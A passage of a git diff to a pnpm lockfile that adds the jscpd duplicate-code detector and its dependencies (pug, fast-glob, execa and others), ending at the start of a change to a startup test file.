sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==} engines: {node: '>= 0.6'} @@ -4738,6 +4899,10 @@ packages: engines: {node: '>=4'} hasBin: true + mimic-fn@2.1.0: + resolution: {integrity: sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==} + engines: {node: '>=6'} + mimic-function@5.0.1: resolution: {integrity: sha512-VP79XUPxV2CigYP3jWwAUFSku2aKqBH7uTAapFWCBqutsbmDo96KY5o8uh6U+/YSIn5OxJnXp73beVkpqMIGhA==} engines: {node: '>=18'} @@ -4856,6 +5021,10 @@ packages: node-readable-to-web-readable-stream@0.4.2: resolution: {integrity: sha512-/cMZNI34v//jUTrI+UIo4ieHAB5EZRY/+7OmXZgBxaWBMcW2tGdceIw06RFxWxrKZ5Jp3sI2i5TsRo+CBhtVLQ==} + node-sarif-builder@3.4.0: + resolution: {integrity: sha512-tGnJW6OKRii9u/b2WiUViTJS+h7Apxx17qsMUjsUeNDiMMX5ZFf8F8Fcz7PAQ6omvOxHZtvDTmOYKJQwmfpjeg==} + engines: {node: '>=20'} + node-wav@0.0.2: resolution: {integrity: sha512-M6Rm/bbG6De/gKGxOpeOobx/dnGuP0dz40adqx38boqHhlWssBJZgLCPBNtb9NkrmnKYiV04xELq+R6PFOnoLA==} engines: {node: '>=4.4.0'} @@ -4876,6 +5045,10 @@ packages: nostr-wasm@0.1.0: resolution: {integrity: sha512-78BTryCLcLYv96ONU8Ws3Q1JzjlAt+43pWQhIl86xZmWeegYCNLPml7yQ+gG3vR6V5h4XGj+TxO+SS5dsThQIA==} + npm-run-path@4.0.1: + resolution: {integrity: sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==} + engines: {node: '>=8'} + npmlog@5.0.1: resolution: {integrity: sha512-AqZtDUWOMKs1G/8lwylVjrdYgqA4d9nu8hc+0gzRxlDb1I10+FHBGMXs6aiQHFdCUUlqH99MUMuLfzWDNDtfxw==} deprecated: This package is no longer supported. @@ -4924,6 +5097,10 @@ packages: once@1.4.0: resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==} + onetime@5.1.2: + resolution: {integrity: sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==} + engines: {node: '>=6'} + onetime@7.0.0: resolution: {integrity: sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ==} engines: {node: '>=18'} @@ -5078,6 +5255,9 @@ packages: resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} engines: {node: '>=8'} + path-parse@1.0.7: + resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==} + path-scurry@1.11.1: resolution: {integrity: sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==} engines: {node: '>=16 || 14 >=14.18'} @@ -5111,6 +5291,10 @@ packages: picocolors@1.1.1: resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} + picomatch@2.3.1: + resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} + engines: {node: '>=8.6'} + picomatch@4.0.3: resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==} engines: {node: '>=12'} @@ -5190,6 +5374,9 @@ packages: process-warning@5.0.0: resolution: {integrity: sha512-a39t9ApHNx2L4+HBnQKqxxHNs1r7KF+Intd8Q/g1bUh6q0WIp9voPXJ/x0j+ZL45KF1pJd9+q2jLIRMfvEshkA==} + promise@7.3.1: + resolution: {integrity: sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==} + proper-lockfile@4.1.2: resolution: {integrity: sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA==} @@ -5222,6 +5409,42 @@ packages: psl@1.15.0: resolution: {integrity: sha512-JZd3gMVBAVQkSs6HdNZo9Sdo0LNcQeMNP3CozBJb3JYC/QUYZTnKxP+f8oWRX4rHP5EurWxqAHTSwUCjlNKa1w==} + pug-attrs@3.0.0: + resolution: {integrity: sha512-azINV9dUtzPMFQktvTXciNAfAuVh/L/JCl0vtPCwvOA21uZrC08K/UnmrL+SXGEVc1FwzjW62+xw5S/uaLj6cA==} + + pug-code-gen@3.0.3: + resolution: {integrity: sha512-cYQg0JW0w32Ux+XTeZnBEeuWrAY7/HNE6TWnhiHGnnRYlCgyAUPoyh9KzCMa9WhcJlJ1AtQqpEYHc+vbCzA+Aw==} + + pug-error@2.1.0: + resolution: {integrity: sha512-lv7sU9e5Jk8IeUheHata6/UThZ7RK2jnaaNztxfPYUY+VxZyk/ePVaNZ/vwmH8WqGvDz3LrNYt/+gA55NDg6Pg==} + + pug-filters@4.0.0: + resolution: {integrity: sha512-yeNFtq5Yxmfz0f9z2rMXGw/8/4i1cCFecw/Q7+D0V2DdtII5UvqE12VaZ2AY7ri6o5RNXiweGH79OCq+2RQU4A==} + + pug-lexer@5.0.1: + resolution: {integrity: sha512-0I6C62+keXlZPZkOJeVam9aBLVP2EnbeDw3An+k0/QlqdwH6rv8284nko14Na7c0TtqtogfWXcRoFE4O4Ff20w==} + + pug-linker@4.0.0: + resolution: {integrity: sha512-gjD1yzp0yxbQqnzBAdlhbgoJL5qIFJw78juN1NpTLt/mfPJ5VgC4BvkoD3G23qKzJtIIXBbcCt6FioLSFLOHdw==} + + pug-load@3.0.0: + resolution: {integrity: sha512-OCjTEnhLWZBvS4zni/WUMjH2YSUosnsmjGBB1An7CsKQarYSWQ0GCVyd4eQPMFJqZ8w9xgs01QdiZXKVjk92EQ==} + + pug-parser@6.0.0: + resolution: {integrity: sha512-ukiYM/9cH6Cml+AOl5kETtM9NR3WulyVP2y4HOU45DyMim1IeP/OOiyEWRr6qk5I5klpsBnbuHpwKmTx6WURnw==} + + pug-runtime@3.0.1: + resolution: {integrity: sha512-L50zbvrQ35TkpHwv0G6aLSuueDRwc/97XdY8kL3tOT0FmhgG7UypU3VztfV/LATAvmUfYi4wNxSajhSAeNN+Kg==} + + pug-strip-comments@2.0.0: + resolution: {integrity: sha512-zo8DsDpH7eTkPHCXFeAk1xZXJbyoTfdPlNR0bK7rpOMuhBYb0f5qUVCO1xlsitYd3w5FQTK7zpNVKb3rZoUrrQ==} + + pug-walk@2.0.0: + resolution: {integrity: sha512-yYELe9Q5q9IQhuvqsZNwA5hfPkMJ8u92bQLIMcsMxf/VADjNtEYptU+inlufAFYcWdHlwNfZOEnOOQrZrcyJCQ==} + + pug@3.0.3: + resolution: {integrity: sha512-uBi6kmc9f3SZ3PXxqcHiUZLmIXgfgWooKWXcwSGwQd2Zi5Rb0bT14+8CJjJgI8AB+nndLaNgHGrcc6bPIB665g==} + pump@3.0.4: resolution: {integrity: sha512-VS7sjc6KR7e1ukRFhQSY5LM2uBWAUPiOPa/A3mkKmiMwSmRFUITt0xuj+/lesgnCv+dPIEYlkzrcyXgquIHMcA==} @@ -5254,6 +5477,9 @@ packages: querystringify@2.2.0: resolution: {integrity: sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==} + queue-microtask@1.2.3: + resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} + quick-format-unescaped@4.0.4: resolution: {integrity: sha512-tYC1Q1hgyRuHgloV/YXs2w15unPVh8qfu/qCTfhTYamaw7fyhumKa2yGpdSo87vY32rIclj+4fWYQXUMs9EHvg==} @@ -5309,6 +5535,13 @@ packages: regex@6.1.0: resolution: {integrity: sha512-6VwtthbV4o/7+OaAF9I5L5V3llLEsoPyq9P1JVXkedTP33c7MfCG0/5NOPcSJn0TzXcG9YUrR0gQSWioew3LDg==} + repeat-string@1.6.1: + resolution: {integrity: sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==} + engines: {node: '>=0.10'} + + reprism@0.0.11: + resolution: {integrity: sha512-VsxDR5QxZo08M/3nRypNlScw5r3rKeSOPdU/QhDmu3Ai3BJxHn/qgfXGWQp/tAxUtzwYNo9W6997JZR0tPLZsA==} + request-promise-core@1.1.3: resolution: {integrity: sha512-QIs2+ArIGQVp5ZYbWD5ZLCY29D5CfWizP8eWnm8FoGD1TX61veauETVQbrV60662V0oFBkrDOuaBI8XgtuyYAQ==} engines: {node: '>=0.10.0'} @@ -5333,6 +5566,11 @@ packages: resolve-pkg-maps@1.0.0: resolution: {integrity: sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==} + resolve@1.22.11: + resolution: {integrity: sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==} + engines: {node: '>= 0.4'} + hasBin: true + restore-cursor@5.1.0: resolution: {integrity: sha512-oMA2dcrw6u0YfxJQXm342bFKX/E4sG9rbTzO9ptUcR/e8A33cHuvStiYOwH7fszkZlZ1z/ta9AAoPk2F4qIOHA==} engines: {node: '>=18'} @@ -5345,6 +5583,10 @@ packages: resolution: {integrity: sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==} engines: {node: '>= 4'} + reusify@1.1.0: + resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==} + engines: {iojs: '>=1.0.0', node: '>=0.10.0'} + rimraf@3.0.2: resolution: {integrity: sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==} deprecated: Rimraf versions prior to v4 are no longer supported @@ -5387,6 +5629,9 @@ packages: resolution: {integrity: sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==} engines: {node: '>= 18'} + run-parallel@1.2.0: + resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} + safe-buffer@5.1.2: resolution: {integrity: sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==} @@ -5658,6 +5903,10 @@ packages: resolution: {integrity: sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==} engines: {node: '>=12'} + strip-final-newline@2.0.0: + resolution: {integrity: sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==} + engines: {node: '>=6'} + strip-json-comments@2.0.1: resolution: {integrity: sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==} engines: {node: '>=0.10.0'} @@ -5673,6 +5922,10 @@ packages: resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} engines: {node: '>=8'} + supports-preserve-symlinks-flag@1.0.0: + resolution: {integrity: sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==} + engines: {node: '>= 0.4'} + table-layout@4.1.1: resolution: {integrity: sha512-iK5/YhZxq5GO5z8wb0bY1317uDF3Zjpha0QFFLA8/trAoiLbQD0HUbMesEaxyzUgDxi2QlcbM8IvqOlEjgoXBA==} engines: {node: '>=12.17'} @@ -5716,6 +5969,10 @@ packages: resolution: {integrity: sha512-PSkbLUoxOFRzJYjjxHJt9xro7D+iilgMX/C9lawzVuYiIdcihh9DXmVibBe8lmcFrRi/VzlPjBxbN7rH24q8/Q==} engines: {node: '>=14.0.0'} + to-regex-range@5.0.1: + resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} + engines: {node: '>=8.0'} + toad-cache@3.7.0: resolution: {integrity: sha512-/m8M+2BJUpoJdgAHoG+baCwBT+tf2VraSfkBgl0Y00qIWt41DJ8R5B8nsEw0I58YwF5IZH6z24/2TobDKnqSWw==} engines: {node: '>=12'} @@ -5724,6 +5981,9 @@ packages: resolution: {integrity: sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==} engines: {node: '>=0.6'} + token-stream@1.0.0: + resolution: {integrity: sha512-VSsyNPPW74RpHwR8Fc21uubwHY7wMDeJLys2IX5zJNih+OnAnaifKHo+1LHT7DAdloQ7apeaaWg8l7qnf/TnEg==} + token-types@6.1.2: resolution: {integrity: sha512-dRXchy+C0IgK8WPC6xvCHFRIWYUbqqdEIKPaKo/AcTUNzwLTK6AH7RjdLWsEZcAN/TBdtfUw3PYEgPr5VPr6ww==} engines: {node: '>=14.16'} @@ -6003,6 +6263,10 @@ packages: jsdom: optional: true + void-elements@3.1.0: + resolution: {integrity: sha512-Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w==} + engines: {node: '>=0.10.0'} + web-streams-polyfill@3.3.3: resolution: {integrity: sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==} engines: {node: '>= 8'} @@ -6034,6 +6298,10 @@ packages: win-guid@0.2.1: resolution: {integrity: sha512-gEIQU4mkgl2OPeoNrWflcJFJ3Ae2BPd4eCsHHA/XikslkIVms/nHhvnvzIZV7VLmBvtFlDOzLt9rrZT+n6D67A==} + with@7.0.2: + resolution: {integrity: sha512-RNGKj82nUPg3g5ygxkQl0R937xLyho1J24ItRCBTr/m1YnZkzJy1hUiHUJrc/VlsDQzsCnInEGSg3bci0Lmd4w==} + engines: {node: '>= 10.0.0'} + wordwrapjs@5.1.1: resolution: {integrity: sha512-0yweIbkINJodk27gX9LBGMzyQdBDan3s/dEAiwBOj+Mf0PPyWL6/rikalkv8EeD0E8jm4o5RXEOrFTP3NXbhJg==} engines: {node: '>=12.17'} @@ -6852,6 +7120,9 @@ snapshots: '@cloudflare/workers-types@4.20260120.0': optional: true + '@colors/colors@1.5.0': + optional: true + '@cypress/request-promise@5.0.0(@cypress/request@3.0.10)(@cypress/request@3.0.10)': dependencies: '@cypress/request': 3.0.10 @@ -7250,6 +7521,41 @@ snapshots: '@js-sdsl/ordered-map@4.4.2': {} + '@jscpd/badge-reporter@4.0.4': + dependencies: + badgen: 3.2.3 + colors: 1.4.0 + fs-extra: 11.3.3 + + '@jscpd/core@4.0.4': + dependencies: + eventemitter3: 5.0.4 + + '@jscpd/finder@4.0.4': + dependencies: + '@jscpd/core': 4.0.4 + '@jscpd/tokenizer': 4.0.4 + blamer: 1.0.7 + bytes: 3.1.2 + cli-table3: 0.6.5 + colors: 1.4.0 + fast-glob: 3.3.3 + fs-extra: 11.3.3 + markdown-table: 2.0.0 + pug: 3.0.3 + + '@jscpd/html-reporter@4.0.4': + dependencies: + colors: 1.4.0 + fs-extra: 11.3.3 + pug: 3.0.3 + + '@jscpd/tokenizer@4.0.4': + dependencies: + '@jscpd/core': 4.0.4 + reprism: 0.0.11 + spark-md5: 3.0.2 + '@keyv/bigmap@1.3.1(keyv@5.6.0)': dependencies: hashery: 1.5.0 @@ -7627,6 +7933,18 @@ snapshots: '@node-llama-cpp/win-x64@3.16.2': optional: true + '@nodelib/fs.scandir@2.1.5': + dependencies: + '@nodelib/fs.stat': 2.0.5 + run-parallel: 1.2.0 + + '@nodelib/fs.stat@2.0.5': {} + + '@nodelib/fs.walk@1.2.8': + dependencies: + '@nodelib/fs.scandir': 2.1.5 + fastq: 1.20.1 + '@nolyfill/domexception@1.0.28': {} '@octokit/app@16.1.2': @@ -9114,6 +9432,8 @@ snapshots: '@types/retry@0.12.0': {} + '@types/sarif@2.1.7': {} + '@types/send@0.17.6': dependencies: '@types/mime': 1.3.5 @@ -9373,6 +9693,8 @@ snapshots: dependencies: acorn: 8.16.0 + acorn@7.4.1: {} + acorn@8.16.0: {} acpx@0.1.15(zod@4.3.6): @@ -9454,10 +9776,14 @@ snapshots: array-flatten@1.1.1: {} + asap@2.0.6: {} + asn1@0.2.6: dependencies: safer-buffer: 2.1.2 + assert-never@1.4.0: {} + assert-plus@1.0.0: {} assertion-error@2.0.1: {} @@ -9524,6 +9850,12 @@ snapshots: b4a@1.8.0: {} + babel-walk@3.0.0-canary-5: + dependencies: + '@babel/types': 7.29.0 + + badgen@3.2.3: {} + balanced-match@4.0.4: {} bare-events@2.8.2: {} @@ -9548,6 +9880,11 @@ snapshots: birpc@4.0.0: {} + blamer@1.0.7: + dependencies: + execa: 4.1.0 + which: 2.0.2 + bluebird@3.7.2: {} body-parser@1.20.4: @@ -9591,6 +9928,10 @@ snapshots: dependencies: balanced-match: 4.0.4 + braces@3.0.3: + dependencies: + fill-range: 7.1.1 + browser-or-node@1.3.0: {} browser-or-node@3.0.0: {} @@ -9654,6 +9995,10 @@ snapshots: character-entities-legacy@3.0.0: {} + character-parser@2.2.0: + dependencies: + is-regex: 1.2.1 + chmodrp@1.0.2: {} chokidar@5.0.0: @@ -9683,6 +10028,12 @@ snapshots: cli-spinners@3.4.0: {} + cli-table3@0.6.5: + dependencies: + string-width: 4.2.3 + optionalDependencies: + '@colors/colors': 1.5.0 + cliui@7.0.4: dependencies: string-width: 4.2.3 @@ -9721,6 +10072,8 @@ snapshots: color-support@1.1.3: optional: true + colors@1.4.0: {} + combined-stream@1.0.8: dependencies: delayed-stream: 1.0.0 @@ -9747,9 +10100,16 @@ snapshots: commander@14.0.3: {} + commander@5.1.0: {} + console-control-strings@1.1.0: optional: true + constantinople@4.0.1: + dependencies: + '@babel/parser': 7.29.0 + '@babel/types': 7.29.0 + content-disposition@0.5.4: dependencies: safe-buffer: 5.2.1 @@ -9847,6 +10207,8 @@ snapshots: discord-api-types@0.38.40: {} + doctypes@1.1.0: {} + dom-serializer@2.0.0: dependencies: domelementtype: 2.3.0 @@ -9996,6 +10358,18 @@ snapshots: transitivePeerDependencies: - bare-abort-controller + execa@4.1.0: + dependencies: + cross-spawn: 7.0.6 + get-stream: 5.2.0 + human-signals: 1.1.1 + is-stream: 2.0.1 + merge-stream: 2.0.0 + npm-run-path: 4.0.1 + onetime: 5.1.2 + signal-exit: 3.0.7 + strip-final-newline: 2.0.0 + expect-type@1.3.0: {} exponential-backoff@3.1.3: {} @@ -10089,12 +10463,24 @@ snapshots: fast-fifo@1.3.2: {} + fast-glob@3.3.3: + dependencies: + '@nodelib/fs.stat': 2.0.5 + '@nodelib/fs.walk': 1.2.8 + glob-parent: 5.1.2 + merge2: 1.4.1 + micromatch: 4.0.8 + fast-uri@3.1.0: {} fast-xml-parser@5.3.8: dependencies: strnum: 2.2.0 + fastq@1.20.1: + dependencies: + reusify: 1.1.0 + fd-slicer@1.1.0: dependencies: pend: 1.2.0 @@ -10123,6 +10509,10 @@ snapshots: dependencies: filename-reserved-regex: 3.0.0 + fill-range@7.1.1: + dependencies: + to-regex-range: 5.0.1 + finalhandler@1.3.2: dependencies: debug: 2.6.9 @@ -10269,6 +10659,12 @@ snapshots: dependencies: assert-plus: 1.0.0 + gitignore-to-glob@0.3.0: {} + + glob-parent@5.1.2: + dependencies: + is-glob: 4.0.3 + glob-to-regexp@0.4.1: {} glob@10.5.0: @@ -10446,6 +10842,8 @@ snapshots: transitivePeerDependencies: - supports-color + human-signals@1.1.1: {} + iconv-lite@0.4.24: dependencies: safer-buffer: 2.1.2 @@ -10522,22 +10920,46 @@ snapshots: - bufferutil - utf-8-validate + is-core-module@2.16.1: + dependencies: + hasown: 2.0.2 + is-electron@2.2.2: {} + is-expression@4.0.0: + dependencies: + acorn: 7.4.1 + object-assign: 4.1.1 + + is-extglob@2.1.1: {} + is-fullwidth-code-point@3.0.0: {} is-fullwidth-code-point@5.1.0: dependencies: get-east-asian-width: 1.5.0 + is-glob@4.0.3: + dependencies: + is-extglob: 2.1.1 + is-interactive@2.0.0: {} + is-number@7.0.0: {} + is-plain-object@5.0.0: {} is-promise@2.2.2: {} is-promise@4.0.0: {} + is-regex@1.2.1: + dependencies: + call-bound: 1.0.4 + gopd: 1.2.0 + has-tostringtag: 1.0.2 + hasown: 2.0.2 + is-stream@2.0.1: {} is-typedarray@1.0.0: {} @@ -10575,10 +10997,31 @@ snapshots: jose@4.15.9: {} + js-stringify@1.0.2: {} + js-tokens@10.0.0: {} jsbn@0.1.1: {} + jscpd-sarif-reporter@4.0.6: + dependencies: + colors: 1.4.0 + fs-extra: 11.3.3 + node-sarif-builder: 3.4.0 + + jscpd@4.0.8: + dependencies: + '@jscpd/badge-reporter': 4.0.4 + '@jscpd/core': 4.0.4 + '@jscpd/finder': 4.0.4 + '@jscpd/html-reporter': 4.0.4 + '@jscpd/tokenizer': 4.0.4 + colors: 1.4.0 + commander: 5.1.0 + fs-extra: 11.3.3 + gitignore-to-glob: 0.3.0 + jscpd-sarif-reporter: 4.0.6 + jsesc@3.1.0: {} json-bigint@1.0.0: @@ -10628,6 +11071,11 @@ snapshots: json-schema: 0.4.0 verror: 1.10.0 + jstransformer@1.0.0: + dependencies: + is-promise: 2.2.2 + promise: 7.3.1 + jszip@3.10.1: dependencies: lie: 3.3.0 @@ -10850,6 +11298,10 @@ snapshots: punycode.js: 2.3.1 uc.micro: 2.1.0 + markdown-table@2.0.0: + dependencies: + repeat-string: 1.6.1 + marked@15.0.12: {} marked@17.0.3: {} @@ -10878,6 +11330,10 @@ snapshots: merge-descriptors@2.0.0: {} + merge-stream@2.0.0: {} + + merge2@1.4.1: {} + methods@1.1.2: {} micromark-util-character@2.1.1: @@ -10897,6 +11353,11 @@ snapshots: micromark-util-types@2.0.2: {} + micromatch@4.0.8: + dependencies: + braces: 3.0.3 + picomatch: 2.3.1 + mime-db@1.52.0: {} mime-db@1.54.0: {} @@ -10911,6 +11372,8 @@ snapshots: mime@1.6.0: {} + mimic-fn@2.1.0: {} + mimic-function@5.0.1: {} minimalistic-assert@1.0.1: {} @@ -11061,6 +11524,11 @@ snapshots: node-readable-to-web-readable-stream@0.4.2: optional: true + node-sarif-builder@3.4.0: + dependencies: + '@types/sarif': 2.1.7 + fs-extra: 11.3.3 + node-wav@0.0.2: optional: true @@ -11083,6 +11551,10 @@ snapshots: nostr-wasm@0.1.0: {} + npm-run-path@4.0.1: + dependencies: + path-key: 3.1.1 + npmlog@5.0.1: dependencies: are-we-there-yet: 2.0.0 @@ -11141,6 +11613,10 @@ snapshots: dependencies: wrappy: 1.0.2 + onetime@5.1.2: + dependencies: + mimic-fn: 2.1.0 + onetime@7.0.0: dependencies: mimic-function: 5.0.1 @@ -11395,6 +11871,8 @@ snapshots: path-key@3.1.1: {} + path-parse@1.0.7: {} + path-scurry@1.11.1: dependencies: lru-cache: 10.4.3 @@ -11424,6 +11902,8 @@ snapshots: picocolors@1.1.1: {} + picomatch@2.3.1: {} + picomatch@4.0.3: {} pify@3.0.0: {} @@ -11489,6 +11969,10 @@ snapshots: process-warning@5.0.0: {} + promise@7.3.1: + dependencies: + asap: 2.0.6 + proper-lockfile@4.1.2: dependencies: graceful-fs: 4.2.11 @@ -11567,6 +12051,73 @@ snapshots: dependencies: punycode: 2.3.1 + pug-attrs@3.0.0: + dependencies: + constantinople: 4.0.1 + js-stringify: 1.0.2 + pug-runtime: 3.0.1 + + pug-code-gen@3.0.3: + dependencies: + constantinople: 4.0.1 + doctypes: 1.1.0 + js-stringify: 1.0.2 + pug-attrs: 3.0.0 + pug-error: 2.1.0 + pug-runtime: 3.0.1 + void-elements: 3.1.0 + with: 7.0.2 + + pug-error@2.1.0: {} + + pug-filters@4.0.0: + dependencies: + constantinople: 4.0.1 + jstransformer: 1.0.0 + pug-error: 2.1.0 + pug-walk: 2.0.0 + resolve: 1.22.11 + + pug-lexer@5.0.1: + dependencies: + character-parser: 2.2.0 + is-expression: 4.0.0 + pug-error: 2.1.0 + + pug-linker@4.0.0: + dependencies: + pug-error: 2.1.0 + pug-walk: 2.0.0 + + pug-load@3.0.0: + dependencies: + object-assign: 4.1.1 + pug-walk: 2.0.0 + + pug-parser@6.0.0: + dependencies: + pug-error: 2.1.0 + token-stream: 1.0.0 + + pug-runtime@3.0.1: {} + + pug-strip-comments@2.0.0: + dependencies: + pug-error: 2.1.0 + + pug-walk@2.0.0: {} + + pug@3.0.3: + dependencies: + pug-code-gen: 3.0.3 + pug-filters: 4.0.0 + pug-lexer: 5.0.1 + pug-linker: 4.0.0 + pug-load: 3.0.0 + pug-parser: 6.0.0 + pug-runtime: 3.0.1 + pug-strip-comments: 2.0.0 + pump@3.0.4: dependencies: end-of-stream: 1.4.5 @@ -11595,6 +12146,8 @@ snapshots: querystringify@2.2.0: {} + queue-microtask@1.2.3: {} + quick-format-unescaped@4.0.4: {} range-parser@1.2.1: {} @@ -11660,6 +12213,10 @@ snapshots: dependencies: regex-utilities: 2.3.0 + repeat-string@1.6.1: {} + + reprism@0.0.11: {} + request-promise-core@1.1.3(@cypress/request@3.0.10): dependencies: lodash: 4.17.23 @@ -11680,6 +12237,12 @@ snapshots: resolve-pkg-maps@1.0.0: {} + resolve@1.22.11: + dependencies: + is-core-module: 2.16.1 + path-parse: 1.0.7 + supports-preserve-symlinks-flag: 1.0.0 + restore-cursor@5.1.0: dependencies: onetime: 7.0.0 @@ -11689,6 +12252,8 @@ snapshots: retry@0.13.1: {} + reusify@1.1.0: {} + rimraf@3.0.2: dependencies: glob: 7.2.3 @@ -11776,6 +12341,10 @@ snapshots: transitivePeerDependencies: - supports-color + run-parallel@1.2.0: + dependencies: + queue-microtask: 1.2.3 + safe-buffer@5.1.2: {} safe-buffer@5.2.1: {} @@ -12138,6 +12707,8 @@ snapshots: dependencies: ansi-regex: 6.2.2 + strip-final-newline@2.0.0: {} + strip-json-comments@2.0.1: {} strnum@2.2.0: {} @@ -12150,6 +12721,8 @@ snapshots: dependencies: has-flag: 4.0.0 + supports-preserve-symlinks-flag@1.0.0: {} + table-layout@4.1.1: dependencies: array-back: 6.2.2 @@ -12203,10 +12776,16 @@ snapshots: tinyrainbow@3.0.3: {} + to-regex-range@5.0.1: + dependencies: + is-number: 7.0.0 + toad-cache@3.7.0: {} toidentifier@1.0.1: {} + token-stream@1.0.0: {} + token-types@6.1.2: dependencies: '@borewit/text-codec': 0.2.1 @@ -12441,6 +13020,8 @@ snapshots: - tsx - yaml + void-elements@3.1.0: {} + web-streams-polyfill@3.3.3: {} webidl-conversions@3.0.1: {} @@ -12470,6 +13051,13 @@ snapshots: win-guid@0.2.1: {} + with@7.0.2: + dependencies: + '@babel/parser': 7.29.0 + '@babel/types': 7.29.0 + assert-never: 1.4.0 + babel-walk: 3.0.0-canary-5 + wordwrapjs@5.1.1: {} wrap-ansi@7.0.0: diff --git a/src/acp/server.startup.test.ts b/src/acp/server.startup.test.ts index 66dfeb0c25e..bcc9717b167 100644 --- a/src/acp/server.startup.test.ts +++ b/src/acp/server.startup.test.ts @@ -100,6 +100,26 @@ vi.mock("./translator.js", () => ({ describe("serveAcpGateway startup", () => { let serveAcpGateway: typeof import("./server.js").serveAcpGateway; + function 